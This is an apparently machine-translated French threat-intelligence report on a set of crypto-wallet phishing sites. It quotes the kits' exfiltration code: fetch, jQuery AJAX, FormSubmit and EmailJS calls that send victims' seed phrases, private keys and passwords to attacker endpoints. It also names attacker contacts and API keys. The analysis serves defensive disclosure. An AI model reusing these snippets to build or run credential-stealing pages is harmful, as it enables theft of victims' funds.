Usurpation d'identité

Un « protocole décentralisé » fictif destiné à la validation des portefeuilles. Il utilise les flux de cours en temps réel de CryptoCompare et propose des liens vers de véritables explorateurs de blockchain (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) afin de renforcer sa crédibilité. La page d'accueil présente plus de 100 logos de portefeuilles et un processus de « validation » en trois étapes.

La double chaîne d'exfiltration

Le backend le plus sophistiqué des cinq — chaque identifiant volé est acheminé via deux canaux indépendants simultanément :

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on [REDACTED]
  |      |
  |      +--> [REDACTED] Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

Conclusions issues de l'OSINT

Usurpation d'identité

Une reproduction fidèle au pixel près de la réalité Aqualibre (AQLA) page de migration des jetons. Le code HTML contient une balise de métadonnées indiquant la source : data-scrapbook-source="https://token.[REDACTED]/migration", daté du 19 novembre 2024.

L'approche « zéro code »

Cet attaquant a besoin de aucun code côté serveur. Le formulaire envoie ses données directement à Non statique — un backend de formulaire légitime pour les sites statiques. Chaque soumission est transmise à l'adresse e-mail de l'escroc. L'adresse e-mail de l'attaquant est jamais visible dans le code source.

<form action="https://forms.[REDACTED]/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Usurpation d'identité

Le sous-domaine contient «safpal« — une erreur d'orthographe volontaire de [REDACTED], un portefeuille matériel très populaire. Le site se présente comme « Blockchain Wallet Rectification » et propose 26 fausses catégories de sujets. Il utilise Typed.js pour animer les noms des chaînes (Ethereum, BSC, Polygon…) et un ticker LiveCoinWatch pour renforcer sa crédibilité.

Même équipement, même opérateur ?

Utilise le exactement le même modèle d'hameçonnage comme le site n° 2 : identique connect.html, identique wallets.html avec plus de 60 logos, utilisant le même backend Un-static (avec un identifiant de formulaire différent — 6f1b82c3...da9943af). Le fait que le kit soit identique laisse fortement supposer que un seul opérateur gérant les deux sites.

Erreurs dans le code : « Privay Policy » (il manque un « c »), « seperated » (il faudrait « separated »), « Kestore » (il manque un « y »). Le champ de mot de passe utilise type="text" au lieu de type="password".

Usurpation d'identité

Un clone presque parfait du Réseau Flare portail — une véritable blockchain EVM de couche 1 intégrant les protocoles FTSO et Data Connector. Reproduit plus de 30 partenaires de l'écosystème, la navigation et l'identité visuelle. Favicons chargées à partir d'un typosquat : [REDACTED] (il manque un « n » dans « mainnet »).

Redondance double avec EmailJS

Le seul site utilisant deux comptes EmailJS distincts simultanément pour assurer la redondance en cas de déconnexion :

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.[REDACTED]/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Objet de l'e-mail pour chaque vol : "New Wallet Details from Flare".

Site n° 4 : publicités payantes, suivi analytique et double exfiltration — l'opération la plus professionnelle

Usurpation d'identité

Un service générique « COIN NODE » / « Wallet Fix » (sans marque spécifique). Copyright « Wallet Fix 2022 » — ce modèle de kit date d'au moins 4 ans. Images hébergées sur [REDACTED] (WordPress sur AWS).

« Possibly phishing-as-a-Service »

L'architecture backend la plus inquiétante : une API multi-locataires basée sur les UUID:

POST https://api.[REDACTED]/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=[REDACTED]&type=phrase&phrase=buddy+surprise+vapor+river+...

Chaque escroc dispose de son propre point de terminaison UUID. Un opérateur central gère l'API, assure le suivi des campagnes et prélève éventuellement une commission sur les fonds volés. Il s'agit de vol de cryptomonnaies à grande échelle — un modèle de « possibly phishing en tant que service ».

Infrastructures associées (pour la plupart hors service)

Usurpation d'identité

A opération à deux volets: un « Centre d'assistance » général à l'adresse [REDACTED] avec 15 catégories de faux billets et 39 marques de portefeuilles, ainsi qu’un Clone de la procédure d'inscription à [REDACTED], fidèle au pixel près à [REDACTED]-recovery.support hébergé sur Replit — avec sélection du modèle d'appareil, configuration du code PIN et une grille de phrase de récupération de 24 mots avec Véritable fonction de saisie automatique BIP39.

Backend C2 anti-scanner

La page d'assistance du portefeuille envoie les données volées à [REDACTED]/log — un serveur C2 nginx/Ubuntu personnalisé derrière IANA #1910. Le backend ignore délibérément toutes les requêtes GET (renvoie le code d'erreur 522 « timeout »), ne répondant qu'aux requêtes POST. Cela signifie que les scanners d'URL, les robots d'indexation de Google Safe Browsing et les chercheurs en sécurité qui envoient des requêtes GET à ce point de terminaison ne voient rien : le C2 semble hors service.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.[REDACTED]",
  allowedWallets: ["[REDACTED]","solfare","[REDACTED]","[REDACTED]",
    "[REDACTED]","[REDACTED]","[REDACTED]","VARA Provisional License","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

Le clone de [REDACTED] exécute un backend Express.js distinct directement sur Replit : POST /api/recovery-phrase collecte {deviceId, pin, phrase}. Elle renvoie 400 {"error":"Invalid data provided"} en cas de données d'entrée incorrectes — ce qui confirme que le backend est en ligne et en cours de validation données volées.

Conclusions issues de l'OSINT

Usurpation d'identité

Une « plateforme de lancement décentralisée » générique avec 21 catégories d'appâts (Staking, migration, KYC, concours, réclamation de récompenses, récupération d'actifs, prévente, création de NFT, comptes bloqués...) et Plus de 70 marques de portefeuilles — l'une des listes de portefeuilles les plus complètes que nous ayons trouvées. La faute de frappe caractéristique « Sychronize » (il manque un « n ») trahit la supercherie.

Le pipeline FormSubmit

Utilisations FormSubmit.co — un service légitime de transmission de formulaires par e-mail. Le hachage du point de terminaison a2cf4131f1a5d39453c7c183df96f86f Il s'agit de la valeur MD5 de l'adresse e-mail de l'escroc. Nous avons testé par force brute des centaines de modèles d'adresses e-mail sur Gmail, Yahoo, Hotmail, ProtonMail, Yandex et [REDACTED] — aucun résultat. L'escroc utilise une adresse e-mail peu courante ou générée aléatoirement.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

Conclusions issues de l'OSINT

Usurpation d'identité

Inconnu — le front-end et le back-end sont tous deux hors ligne. D’après la structure de la charge utile, il s’agissait d’un programme conçu pour voler la phrase de récupération d’un portefeuille cryptographique. Le Bucket public IANA #1910 R2 (stockage d'objets, et non Pages) est un vecteur d'hameçonnage bien documenté avec plus de 5 000 pages malveillantes identifiées et une augmentation du trafic multipliée par 61, selon Netskope.

La configuration du « script kiddie »

Le plus opération primitive dans cette collection. Les phrases de départ sont envoyées mot à mot vers un script PHP s'exécutant sur un ordinateur personnel ou un VPS derrière un service DNS dynamique gratuit :

POST [REDACTED]/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

Conclusions issues de l'OSINT